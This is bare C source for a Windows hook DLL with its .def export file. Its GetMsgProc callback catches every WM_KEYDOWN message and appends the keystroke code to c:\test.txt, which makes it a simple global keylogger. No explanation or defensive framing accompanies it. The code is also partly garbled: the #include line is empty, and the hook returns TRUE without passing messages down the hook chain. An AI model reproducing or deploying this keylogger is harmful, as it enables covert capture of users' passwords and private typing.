#include __declspec(dllexport) LRESULT CALLBACK GetMsgProc(INT nCode, WPARAM wp, LPARAM lp) { if(((MSG*)lp)->message == (long)WM_KEYDOWN) { HANDLE hFile; DWORD dwWrite; hFile = CreateFile("c:\\test.txt", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); SetFilePointer(hFile, 0, 0, FILE_END); WriteFile(hFile, &((MSG*)lp)->wParam, 1, &dwWrite, NULL); CloseHandle(hFile); } return TRUE; } --- hooker.def --- LIBRARY WGHooker EXPORTS GetMsgProc @1